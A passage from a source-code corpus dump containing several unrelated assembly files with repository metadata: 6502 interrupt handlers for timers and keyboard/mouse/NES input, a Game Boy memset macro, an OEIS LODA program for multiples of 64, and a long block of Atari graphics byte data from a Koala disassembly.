ABS, ZPR .byte REL, IZY, IZP, 0 , 0 , ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , 0 , ABX, ABX, ZPR .byte IMP, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , IND, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZPX, ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , IAX, ABX, ABX, ZPR .byte REL, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZPX, ZPX, ZPY, ZP , IMP, ABY, IMP, 0 , ABS, ABX, ABX, ZPR .byte IMM, IZX, IMM, 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZPX, ZPX, ZPY, ZP , IMP, ABY, IMP, 0 , ABX, ABX, ABY, ZPR .byte IMM, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, IMP, ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , 0 , ZPX, ZPX, ZP , IMP, ABY, IMP, IMP, 0 , ABX, ABX, ZPR .byte IMM, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , 0 , ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , 0 , ABX, ABX, ZPR ; ---------------------------------------------------------------------------------------------------------------------- ; INTERRUPTS ; ---------------------------------------------------------------------------------------------------------------------- ; _ _ __ __ ___ ; | \ | | | \/ | |_ _| ; | \| | | |\/| | | | ; | |\ | | | | | | | ; |_| \_| |_| |_| |___| ; Non-Maskable Interrupt (High priority interrupt only) ; ---------------------------------------------------------------------------------------------------------------------- nmi: rti ; ___ ____ ___ ; |_ _| | _ \ / _ \ ; | | | |_) | | | | | ; | | | _ < | |_| | ; |___| |_| \_\ \__\_\ ; Iterrupt ReQuest (Regular interrupts) ; ---------------------------------------------------------------------------------------------------------------------- irq: pha phx phy ; DETERMINE WHAT IC GENERATED IRQ ; ------------------------------- irq_dispatch: ; IS IT VIA1? lda VIA1_IFR ; Check interrupt flag register to see if it's VIA1 bmi irq_via1 ; If it is, go to VIA1 handler lda VIA2_IFR ; Check interrupt flag register to see if it's VIA2 bmi irq_via2 ; If it is, go to VIA2 handler jmp irq_end ; DISPATCHING IRQ FROM VIA1 ; ------------------------- irq_via1: bit #%01000000 ; Was it Timer 1 bne irq_via1_timer1 ; If it is, go to tick counter bit #%00000010 ; Was it CA1 bne irq_via1_ca1 ; If it is, then go get the keyboard, mouse or nes data jmp irq_end ; End ISR irq_via2: bit #%01000000 ; Was it Timer 1 bne irq_via2_timer1 ; If it is, go to tick counter jmp irq_end ; End ISR ; SYSTEM TIMER 1 (Count ticks) ; -------------- irq_via1_timer1: ; COUNT THE NUMBER OF TICKS bit VIA1_T1CL ; Clear TIMER1 interrupt inc TICKS bne irq_end inc TICKS+1 bne irq_end inc TICKS+2 bne irq_end inc TICKS+3 bra irq_end ; End ISR ; PS/2 KEYBOARD, MOUSE or NES CONTROLLERS ; --------------------------------------- irq_via1_ca1: lda VIA1_PORTA ; Load RS data from MCU and #%00000111 ; Keep only lower 3 bits ivca1_keyboard: cmp #0 ; Is it keyboard data? bne ivca1_mouse_buttons ; If not, check if it's mouse data? lda VIA1_PORTB ; It is, then read ASCII keyboard key ldx KB_WPTR ; Read current keyboard write pointer sta KB_BUFFER, x ; Store character in keyboard buffer inc KB_WPTR ; Increment write pointer for next character cmp #$FF ; Has Control-Alt-Del been pressed? bne irq_end ; End ISR jmp setup ; "Reboot" system ivca1_mouse_buttons: cmp #1 ; Is it mouse data? (xxYXxMRL) bne ivca1_mouse_x ; If not, check if it's mouse mouvement X? lda VIA1_PORTB ; It is, then read button and direction status sta MS_DATA ; Store mouse data bra irq_end ; End ISR ivca1_mouse_x: cmp #2 ; Is it mouse movement X? bne ivca1_mouse_y ; If not, check if it's mouse mouvement Y? lda VIA1_PORTB ; It is, then read mouvement data sta MS_X ; Store it bra irq_end ; End ISR ivca1_mouse_y: cmp #3 ; Is it mouse movement X? bne ivca1_nes1 ; If not, check if it's NES controller 1? lda VIA1_PORTB ; It is, then read movement data sta MS_Y ; Store it bra irq_end ; End ISR ivca1_nes1: cmp #4 ; Is it NES controller 1 buttons? bne ivca1_nes2 ; If not, check if it's NES controller 2? lda VIA1_PORTB ; It is, then read buttons sta NES_CTRL1 ; Store it bra irq_end ; End ISR ivca1_nes2: cmp #5 ; Is it NES controller 2 buttons? bne irq_end ; If not, then end ISR lda VIA1_PORTB ; It is, then read buttons sta NES_CTRL1 ; Store it ; VIA2 TIMER 1 ; -------------- irq_via2_timer1: bra irq_end ; End ISR ; END IRQ ; ------- irq_end: update_led: ; TOGGLE LED ON OR OFF EVERY SECOND lda TICKS ; Load ticks counter sec ; Get ready to substract sbc TOGGLE_TIME ; Substract last recorded tick time cmp #20 ; Has it reached 1 second? (1 = 50ms @ 2MHz, see 'via1_init' for timer 1 settings) bcc update_led_exit ; No, then exit lda VIA1_PORTA ; Read current state of Port A eor #LIFE_LED ; Toggle bit 7 (The LED), not moddifying anything else sta VIA1_PORTA ; Turn on or off LED lda TICKS ; Load current ticks counter sta TOGGLE_TIME ; Store it as the current time ; ldx #0 ; ldy #1 ; jsr lcd_cursor_xy ; tsx ; txa ; jsr lcd_print_byte update_led_exit: ply plx pla rti .org $FFFA .word nmi ; NMI vector .word setup ; Reset vector .word irq ; IRQ vector
31.58475
134
0.619227
ca7236c80f08d83f69cb9ba9756cc247a4486719
45
asm
Assembly
projects/Kirbys_Dream_Land_2.windfish/configuration/macros/memsetWithValue.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
68
2020-12-16T10:06:48.000Z
2022-03-29T19:54:01.000Z
projects/Kirbys_Dream_Land_2.windfish/configuration/macros/memsetWithValue.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
62
2020-12-19T04:28:41.000Z
2021-02-15T22:18:16.000Z
projects/Kirbys_Dream_Land_2.windfish/configuration/macros/memsetWithValue.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
4
2021-01-17T03:51:22.000Z
2021-01-21T16:26:53.000Z
ld hl, #1 ld bc, #2 ld a, #3 call $062F
11.25
11
0.488889
eb34673aa04a39e3274fda1b43f8c7c3eac7f952
522
asm
Assembly
programs/oeis/152/A152691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/152/A152691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/152/A152691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A152691: Multiples of 64. ; 0,64,128,192,256,320,384,448,512,576,640,704,768,832,896,960,1024,1088,1152,1216,1280,1344,1408,1472,1536,1600,1664,1728,1792,1856,1920,1984,2048,2112,2176,2240,2304,2368,2432,2496,2560,2624,2688,2752,2816,2880,2944,3008,3072,3136,3200,3264,3328,3392,3456,3520,3584,3648,3712,3776,3840,3904,3968,4032,4096,4160,4224,4288,4352,4416,4480,4544,4608,4672,4736,4800,4864,4928,4992,5056,5120,5184,5248,5312,5376,5440,5504,5568,5632,5696,5760,5824,5888,5952,6016,6080,6144,6208,6272,6336 mul $0,64
104.4
482
0.779693
7f1ad2b78aa1acd17c3eb6172c7af08a03aaf540
173,401
asm
Assembly
patches/koala/code/disasm/koala_block_1.asm
fcatrin/a8tools
2792cfbabc9e3fd369550b810f631d62e03c8b90
[ "MIT" ]
3
2020-07-02T15:11:23.000Z
2020-07-03T19:59:08.000Z
patches/koala/code/disasm/koala_block_1.asm
fcatrin/a8tools
2792cfbabc9e3fd369550b810f631d62e03c8b90
[ "MIT" ]
null
null
null
patches/koala/code/disasm/koala_block_1.asm
fcatrin/a8tools
2792cfbabc9e3fd369550b810f631d62e03c8b90
[ "MIT" ]
null
null
null
; BLOCK 1 koala.xex org $2000 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $50, $50, $50, $50, $50, $50, $50, $50 .byte $50, $50, $50, $55, $50, $50, $50, $50 .byte $AA, $02, $02, $02, $02, $02, $02, $02 .byte $00, $00, $00, $00, $00, $00, $00, $80 .byte $02, $02, $02, $08, $08, $08, $20, $80 .byte $2A, $80, $00, $00, $00, $00, $00, $00 .byte $00, $80, $20, $08, $08, $08, $02, $02 .byte $2A, $00, $00, $55, $00, $00, $00, $00 .byte $00, $00, $00, $00, $02, $02, $82, $82 .byte $00, $00, $00, $00, $02, $02, $0A, $08 .byte $00, $00, $00, $00, $00, $02, $0A, $28 .byte $00, $00, $00, $20, $A0, $80, $02, $2A .byte $00, $00, $00, $00, $00, $80, $80, $00 .byte $00, $00, $82, $88, $88, $08, $20, $20 .byte $20, $20, $20, $08, $08, $08, $02, $00 .byte $00, $00, $00, $00, $00, $02, $0A, $28 .byte $00, $00, $00, $00, $00, $80, $A0, $20 .byte $80, $80, $80, $80, $80, $80, $80, $80 .byte $00, $00, $00, $02, $0A, $08, $08, $08 .byte $00, $00, $A0, $80, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $08, $00 .byte $00, $00, $00, $00, $08, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $08, $00 .byte $0A, $08, $08, $08, $08, $08, $08, $08 .byte $82, $82, $A2, $22, $22, $22, $2A, $0A .byte $28, $22, $AA, $AA, $AA, $AA, $AA, $AA .byte $A0, $8A, $28, $A0, $0A, $A8, $00, $AA .byte $A0, $80, $00, $0A, $A8, $00, $00, $AA .byte $00, $00, $00, $80, $00, $00, $00, $00 .byte $02, $02, $0A, $08, $28, $20, $A0, $80 .byte $00, $00, $00, $80, $80, $A0, $20, $20 .byte $20, $28, $08, $0A, $02, $02, $AA, $28 .byte $20, $28, $08, $0A, $00, $00, $00, $00 .byte $28, $AA, $82, $82, $AA, $A0, $2A, $0A .byte $08, $08, $08, $08, $08, $28, $A0, $00 .byte $00, $00, $00, $A8, $08, $08, $08, $08 .byte $80, $00, $00, $00, $00, $02, $00, $00 .byte $20, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $02, $80, $00, $00, $00, $80 .byte $02, $00, $00, $00, $00, $00, $00, $08 .byte $00, $00, $00, $0A, $A8, $80, $00, $02 .byte $02, $2A, $A0, $80, $00, $00, $00, $AA .byte $A0, $00, $00, $00, $00, $00, $00, $A0 .byte $00, $00, $00, $AA, $00, $00, $00, $00 .byte $82, $82, $8A, $AA, $A8, $A0, $A0, $80 .byte $80, $00, $00, $AA, $00, $00, $00, $00 .byte $28, $08, $0A, $AA, $00, $00, $00, $00 .byte $A5, $95, $95, $95, $95, $A5, $2A, $00 .byte $55, $55, $55, $55, $56, $AA, $80, $00 .byte $55, $55, $55, $55, $A5, $29, $0A, $02 .byte $55, $55, $55, $55, $56, $56, $5A, $A8 .byte $58, $68, $60, $60, $A0, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $02, $0A .byte $00, $00, $00, $00, $00, $00, $AA, $00 .byte $00, $02, $02, $02, $0A, $A8, $80, $00 .byte $A8, $8A, $02, $00, $00, $00, $00, $00 .byte $00, $00, $A0, $20, $28, $08, $08, $08 .byte $80, $80, $80, $80, $80, $80, $80, $AA .byte $02, $02, $02, $02, $02, $02, $00, $AA .byte $AA, $08, $08, $08, $08, $AA, $08, $A8 .byte $AA, $08, $08, $08, $08, $AA, $08, $0A .byte $82, $82, $82, $82, $82, $82, $02, $AA .byte $00, $00, $00, $AA, $80, $80, $80, $80 .byte $55, $55, $5F, $5F, $5F, $5F, $5F, $5F .byte $55, $55, $FF, $FF, $FF, $FF, $FF, $FF .byte $05, $05, $05, $05, $05, $05, $05, $05 .byte $05, $05, $05, $55, $05, $05, $05, $05 .byte $10, $10, $10, $50, $10, $10, $10, $10 .byte $10, $10, $10, $55, $10, $10, $10, $10 .byte $00, $00, $00, $55, $00, $00, $00, $00 .byte $55, $55, $F5, $F5, $F5, $F5, $F5, $F5 .byte $F5, $F5, $F5, $F5, $55, $55, $05, $05 .byte $A8, $A8, $A8, $A8, $A8, $A8, $A8, $A8 .byte $00, $80, $80, $80, $80, $80, $80, $80 .byte $A8, $A8, $A8, $A0, $A0, $80, $80, $00 .byte $54, $54, $54, $54, $54, $54, $54, $54 .byte $2A, $2A, $2A, $2A, $2A, $2A, $2A, $2A .byte $AA, $AA, $AA, $2A, $2A, $2A, $0A, $0A .byte $AA, $AA, $AA, $AA, $AA, $AA, $A8, $A8 .byte $5F, $5F, $5F, $5F, $55, $55, $50, $50 .byte $FF, $FF, $FF, $FF, $55, $55, $00, $00 .byte $FF, $FF, $FF, $FF, $55, $55, $10, $10 .byte $50, $50, $50, $55, $55, $00, $00, $00 .byte $00, $00, $00, $55, $55, $00, $00, $00 .byte $10, $10, $10, $10, $10, $10, $10, $10 .byte $10, $10, $10, $55, $55, $00, $00, $00 .byte $05, $05, $05, $55, $55, $00, $00, $00 .byte $AA, $AA, $AA, $AA, $AA, $00, $00, $00 .byte $00, $00, $00, $AA, $AA, $AA, $AA, $AA .byte $20, $80, $80, $80, $20, $20, $0A, $02 .byte $20, $08, $08, $08, $20, $20, $80, $00 .byte $00, $00, $00, $00, $00, $02, $0A, $20 .byte $00, $02, $08, $08, $08, $02, $80, $20 .byte $A0, $AA, $A0, $A0, $A0, $A0, $A0, $AA .byte $AA, $AA, $AA, $AA, $AA, $AA, $AA, $AA .byte $00, $00, $0A, $0A, $2A, $2A, $2A, $AA .byte $55, $55, $FF, $FF, $FF, $FF, $C3, $FC .byte $3C, $3C, $3C, $FF, $55, $55, $00, $00 .byte $55, $55, $FF, $FF, $FF, $FF, $C0, $CC .byte $CC, $CC, $C0, $FF, $55, $55, $00, $00 .byte $C0, $CC, $C0, $FF, $55, $55, $00, $00 .byte $F3, $F3, $F0, $FF, $55, $55, $00, $00 .byte $3C, $3C, $3C, $FF, $55, $55, $00, $00 .byte $F3, $F3, $F3, $FF, $55, $55, $10, $10 .byte $55, $55, $FF, $FF, $F3, $FF, $F3, $F3 .byte $CF, $CC, $C0, $FF, $55, $55, $00, $00 .byte $55, $55, $FF, $FF, $3C, $33, $0F, $03 .byte $55, $55, $FF, $FF, $FF, $F3, $F3, $F3 .byte $55, $55, $FF, $FF, $3C, $00, $00, $3C .byte $CF, $CF, $CF, $FF, $55, $55, $00, $00 .byte $55, $55, $FF, $FF, $FF, $FF, $C0, $CC .byte $F3, $F3, $C0, $FF, $55, $55, $00, $00 .byte $CC, $CC, $C0, $FF, $55, $55, $10, $10 .byte $55, $55, $FF, $FF, $FF, $FF, $C0, $CC .byte $55, $55, $FF, $FF, $FF, $FF, $C0, $CF .byte $55, $55, $FF, $FF, $FF, $F3, $C0, $F3 .byte $55, $55, $FF, $FF, $FF, $FF, $CC, $CC .byte $55, $55, $FF, $FF, $C0, $F3, $F3, $F3 .byte $C0, $FC, $C0, $FF, $55, $55, $00, $00 .byte $F3, $F3, $F0, $FF, $55, $55, $00, $00 .byte $F3, $F3, $F3, $FF, $55, $55, $00, $00 .byte $00, $00, $A8, $A8, $AA, $AA, $AA, $AA .byte $AA, $AA, $AA, $2A, $2A, $0A, $0A, $00 .byte $80, $82, $8A, $0A, $2A, $0A, $0A, $02 .byte $00, $00, $00, $30, $30, $00, $00, $00 .byte $00, $00, $80, $80, $A0, $80, $80, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $50, $50, $50, $50, $50, $50, $50, $50 .byte $00, $00, $00, $55, $55, $00, $00, $30 .byte $00, $00, $00, $3F, $F1, $C4, $D1, $C4 .byte $00, $00, $00, $C2, $F2, $4A, $0A, $48 .byte $0A, $A8, $80, $85, $05, $05, $F0, $F0 .byte $A0, $28, $08, $0A, $02, $0E, $FE, $FC .byte $00, $00, $00, $00, $00, $80, $80, $80 .byte $A0, $00, $00, $55, $55, $00, $00, $00 .byte $20, $80, $20, $08, $20, $0A, $02, $00 .byte $08, $02, $08, $20, $08, $A0, $80, $00 .byte $F0, $CC, $CC, $CC, $CC, $CC, $F0, $00 .byte $FC, $CC, $CC, $FC, $C0, $C0, $C0, $00 .byte $C0, $C0, $C0, $C0, $C0, $C0, $FC, $00 .byte $CC, $CC, $F0, $F0, $CC, $CC, $CC, $00 .byte $FC, $CC, $CC, $FC, $F0, $CC, $CC, $00 .byte $00, $00, $30, $CC, $03, $CC, $30, $00 .byte $00, $00, $00, $00, $03, $00, $00, $00 .byte $30, $00, $00, $55, $55, $00, $00, $00 .byte $D1, $C4, $F3, $34, $31, $34, $0D, $03 .byte $08, $48, $38, $7A, $3A, $42, $12, $FC .byte $F0, $05, $05, $05, $50, $50, $93, $AF .byte $C0, $C0, $C0, $C2, $C2, $C2, $CA, $28 .byte $80, $80, $A0, $A8, $9A, $A6, $29, $0A .byte $2A, $00, $00, $55, $55, $00, $00, $00 .byte $00, $02, $0A, $20, $08, $20, $80, $20 .byte $00, $80, $A0, $08, $20, $08, $02, $08 .byte $FC, $C0, $C0, $F0, $C0, $C0, $C0, $00 .byte $F0, $CC, $CC, $F0, $CC, $CC, $F0, $00 .byte $FC, $CC, $C0, $C0, $C0, $CC, $FC, $00 .byte $FC, $C0, $C0, $F0, $C0, $C0, $FC, $00 .byte $FC, $C0, $C0, $FC, $0C, $0C, $FC, $00 .byte $00, $00, $00, $55, $55, $4C, $4C, $4F .byte $00, $00, $FC, $CC, $FC, $CC, $CC, $00 .byte $00, $00, $00, $55, $55, $CF, $CC, $CF .byte $00, $00, $FC, $CC, $C0, $CC, $FC, $00 .byte $00, $00, $00, $55, $55, $30, $30, $30 .byte $00, $00, $FC, $CC, $FC, $C0, $FC, $00 .byte $00, $0C, $30, $3C, $30, $30, $30, $00 .byte $00, $00, $FC, $C0, $FC, $CC, $FC, $00 .byte $00, $00, $00, $55, $55, $FD, $CD, $FD .byte $30, $00, $30, $30, $30, $30, $30, $00 .byte $4C, $4C, $40, $40, $40, $40, $40, $40 .byte $CC, $CF, $00, $00, $03, $00, $00, $00 .byte $00, $30, $30, $30, $30, $30, $30, $00 .byte $00, $00, $CC, $FC, $FC, $CC, $CC, $00 .byte $00, $00, $F0, $CC, $CC, $CC, $CC, $00 .byte $00, $00, $FC, $CC, $CC, $CC, $FC, $00 .byte $00, $00, $00, $00, $3C, $00, $00, $00 .byte $30, $3C, $00, $C0, $30, $30, $C0, $C0 .byte $00, $00, $FC, $CC, $C0, $C0, $C0, $00 .byte $00, $00, $FC, $C0, $FC, $0C, $FC, $00 .byte $00, $30, $FC, $30, $30, $30, $30, $00 .byte $00, $00, $CC, $CC, $CC, $CC, $FC, $00 .byte $C5, $C5, $05, $05, $05, $05, $05, $05 .byte $00, $00, $CC, $CC, $FC, $FC, $CC, $00 .byte $00, $00, $CC, $CC, $30, $CC, $CC, $00 .byte $00, $00, $CC, $CC, $30, $30, $30, $00 .byte $40, $40, $40, $55, $55, $00, $00, $00 .byte $00, $C0, $00, $55, $55, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $CC, $FC, $FC, $CC, $CC, $CC, $CC, $00 .byte $00, $00, $00, $55, $55, $50, $50, $50 .byte $05, $05, $05, $05, $05, $05, $05, $05 .byte $00, $00, $00, $55, $55, $05, $05, $05 .byte $00, $00, $00, $55, $55, $10, $10, $10 .byte $30, $00, $00, $55, $55, $00, $00, $00 .byte $00, $00, $00, $00, $0F, $00, $00, $00 .byte $30, $30, $30, $CC, $03, $CC, $30, $30 .byte $00, $00, $00, $00, $C0, $00, $00, $00 .byte $00, $00, $00, $00, $30, $00, $00, $00 .byte $00, $00, $00, $3C, $3C, $3C, $00, $00 .byte $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF .byte $54, $54, $54, $54, $54, $54, $54, $54 .byte $2A, $2A, $2A, $2A, $2A, $2A, $2A, $2A .byte $00, $00, $03, $00, $00, $00, $C0, $00 .byte $0C, $00, $00, $55, $55, $00, $00, $00 .byte $C0, $00, $00, $00, $30, $00, $00, $00 .byte $30, $30, $30, $30, $30, $30, $30, $30 .byte $00, $00, $00, $00, $0F, $00, $00, $00 .byte $50, $50, $50, $55, $55, $00, $00, $00 .byte $00, $00, $00, $55, $55, $00, $00, $00 .byte $10, $10, $10, $10, $10, $10, $10, $10 .byte $10, $10, $10, $55, $55, $00, $00, $00 .byte $05, $05, $05, $55, $55, $00, $00, $00 .byte $00, $00, $00, $00, $FF, $00, $00, $00 .byte $00, $00, $00, $00, $F0, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $03, $0F .byte $00, $00, $03, $0F, $3C, $F0, $C0, $00 .byte $00, $00, $C0, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $A0, $AA, $A0, $A0, $A0, $A0, $A0, $AA .byte $AA, $AA, $AA, $AA, $AA, $AA, $AA, $AA .byte $AA, $AA, $AA, $AA, $AA, $AA, $A0, $80 .byte $00, $00, $A8, $A8, $AA, $AA, $AA, $AA .byte $2A, $2A, $2A, $0A, $0A, $02, $02, $00 .byte $AA, $AA, $AA, $A8, $A8, $A0, $A0, $00 .byte $00, $00, $00, $00, $0A, $0A, $2A, $2A .byte $00, $00, $FC, $CC, $FC, $C0, $FC, $00 .byte $00, $00, $00, $00, $80, $80, $A0, $A0 .byte $00, $00, $0A, $0A, $2A, $2A, $2A, $AA .byte $00, $60, $60, $7C, $66, $66, $66, $00 .byte $00, $18, $00, $38, $18, $18, $3C, $00 .byte $08, $08, $0A, $02, $02, $02, $00, $00 .byte $00, $00, $00, $22, $02, $02, $80, $2A .byte $15, $05, $01, $00, $00, $00, $08, $A0 .byte $00, $CC, $FC, $FC, $CC, $CC, $CC, $00 .byte $00, $00, $F0, $CC, $CC, $CC, $CC, $00 .byte $54, $55, $54, $50, $00, $00, $00, $00 .byte $00, $00, $7C, $66, $66, $7C, $60, $60 .byte $40, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $02, $0A, $08, $08, $08 .byte $00, $00, $00, $A8, $0A, $00, $00, $00 .byte $00, $00, $00, $00, $01, $05, $15, $15 .byte $00, $00, $CC, $CC, $CC, $CC, $FC, $00 .byte $03, $0D, $34, $D1, $47, $1D, $44, $51 .byte $47, $1D, $74, $D1, $47, $1D, $74, $D0 .byte $44, $1C, $74, $D0, $40, $00, $00, $00 .byte $00, $00, $00, $00, $00, $0D, $34, $D1 .byte $00, $00, $00, $00, $00, $54, $54, $D4 .byte $AA, $AA, $A8, $AA, $AA, $AA, $AA, $2A .byte $80, $80, $80, $00, $02, $00, $00, $00 .byte $00, $00, $00, $30, $30, $00, $00, $00 .byte $00, $20, $A8, $A8, $AA, $A8, $A8, $20 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $0C, $33, $33, $33, $0C, $00, $FF, $FF .byte $30, $F0, $30, $30, $30, $00, $FF, $FF .byte $30, $CC, $0C, $30, $FC, $00, $FF, $FF .byte $FC, $0C, $30, $0C, $FC, $00, $FF, $FF .byte $00, $00, $00, $00, $00, $01, $05, $05 .byte $00, $10, $54, $45, $55, $55, $55, $15 .byte $00, $14, $55, $55, $40, $54, $55, $01 .byte $01, $07, $0C, $0C, $0C, $0C, $07, $01 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $40, $40, $00, $00, $00 .byte $04, $04, $00, $00, $00, $00, $00, $00 .byte $54, $52, $50, $40, $40, $00, $00, $00 .byte $80, $A0, $80, $20, $A8, $20, $08, $2A .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $03, $03, $0F, $03, $0F, $03, $00, $00 .byte $F4, $0D, $F3, $C3, $C3, $F3, $0D, $F4 .byte $44, $10, $44, $10, $44, $10, $44, $10 .byte $88, $20, $88, $20, $88, $20, $88, $20 .byte $CC, $30, $CC, $30, $CC, $30, $CC, $30 .byte $64, $98, $64, $98, $64, $98, $64, $98 .byte $74, $DC, $74, $DC, $74, $DC, $74, $DC .byte $EC, $B8, $EC, $B8, $EC, $B8, $EC, $B8 .byte $20, $44, $20, $44, $20, $44, $20, $44 .byte $CC, $20, $CC, $20, $CC, $20, $CC, $20 .byte $74, $98, $74, $98, $74, $98, $74, $98 .byte $64, $10, $64, $10, $64, $10, $64, $10 .byte $B8, $64, $B8, $64, $B8, $64, $B8, $64 .byte $B8, $20, $B8, $20, $B8, $20, $B8, $20 .byte $C8, $FA, $E8, $EA, $FA, $FF, $FF, $3F .byte $FC, $BF, $AC, $AF, $BC, $FF, $FC, $F0 .byte $00, $00, $00, $00, $00, $00, $00, $F0 .byte $00, $0C, $30, $C0, $F0, $0C, $0C, $00 .byte $44, $11, $44, $11, $44, $11, $44, $11 .byte $88, $22, $88, $22, $88, $22, $88, $22 .byte $CC, $33, $CC, $33, $CC, $33, $CC, $33 .byte $66, $99, $66, $99, $66, $99, $66, $99 .byte $77, $DD, $77, $DD, $77, $DD, $77, $DD .byte $EE, $BB, $EE, $BB, $EE, $BB, $EE, $BB .byte $22, $44, $22, $44, $22, $44, $22, $44 .byte $CC, $22, $CC, $22, $CC, $22, $CC, $22 .byte $77, $99, $77, $99, $77, $99, $77, $99 .byte $66, $11, $66, $11, $66, $11, $66, $11 .byte $BB, $66, $BB, $66, $BB, $66, $BB, $66 .byte $BB, $22, $BB, $22, $BB, $22, $BB, $22 .byte $00, $FC, $CC, $C0, $C0, $CC, $FC, $00 .byte $00, $FC, $C0, $C0, $CC, $CC, $FC, $00 .byte $00, $FC, $30, $30, $30, $30, $FC, $00 .byte $00, $30, $F0, $30, $30, $30, $FC, $00 .byte $00, $FC, $CC, $FC, $0C, $0C, $FC, $00 .byte $00, $FC, $CC, $FC, $F0, $CC, $CC, $00 .byte $00, $FC, $C0, $FC, $0C, $0C, $FC, $00 .byte $00, $F0, $CC, $CC, $CC, $CC, $F0, $00 .byte $00, $C0, $C0, $C0, $C0, $C0, $FC, $00 .byte $00, $FC, $CC, $FC, $CC, $CC, $CC, $00 .byte $00, $FC, $C0, $FC, $C0, $C0, $FC, $00 .byte $00, $CC, $FC, $FC, $CC, $CC, $CC, $00 .byte $00, $CC, $EC, $FC, $FC, $DC, $CC, $00 .byte $00, $FC, $CC, $CC, $CC, $CC, $FC, $00 .byte $00, $FC, $CC, $FC, $C0, $C0, $C0, $00 .byte $00, $FC, $30, $30, $30, $30, $30, $00 .byte $00, $CC, $CC, $CC, $CC, $CC, $FC, $00 .byte $00, $FC, $CC, $FC, $CC, $CC, $FC, $00 .byte $00, $FC, $0C, $3C, $0C, $0C, $FC, $00 .byte $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0 .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $03, $03, $03, $03, $03, $03, $03, $03 .byte $55, $55, $55, $55, $55, $55, $55, $55 .byte $00, $C0, $CF, $C0, $CF, $CC, $CF, $00 .byte $57, $57, $57, $57, $57, $57, $57, $57 .byte $00, $00, $C0, $C0, $C0, $C0, $C0, $00 .byte $AA, $AA, $AA, $AA, $AA, $AA, $AA, $AA .byte $AB, $AB, $AB, $AB, $AB, $AB, $AB, $AB .byte $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $03, $03, $00, $00, $00, $00, $00, $00 .byte $C0, $C0, $00, $00, $00, $00, $00, $00 .byte $FF, $FF, $00, $00, $00, $00, $00, $00 .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $00, $00, $00, $00, $00, $00, $C0, $C0 .byte $00, $00, $00, $00, $00, $00, $03, $03 .byte $00, $00, $00, $00, $00, $00, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $00, $03, $03, $03, $03, $03, $03, $00 .byte $00, $18, $18, $18, $7E, $3C, $18, $00 .byte $00, $00, $0C, $3C, $FF, $3C, $0C, $00 .byte $00, $00, $C0, $F0, $FC, $F0, $C0, $00 .byte $00, $30, $CC, $30, $CF, $CC, $33, $00 .byte $00, $00, $FC, $0C, $FC, $CC, $FC, $00 .byte $00, $C0, $C0, $FC, $CC, $CC, $FC, $00 .byte $00, $00, $FC, $C0, $C0, $C0, $FC, $00 .byte $00, $0C, $0C, $FC, $CC, $CC, $FC, $00 .byte $00, $00, $FC, $CC, $FC, $C0, $FC, $00 .byte $00, $3C, $30, $FC, $30, $30, $30, $00 .byte $00, 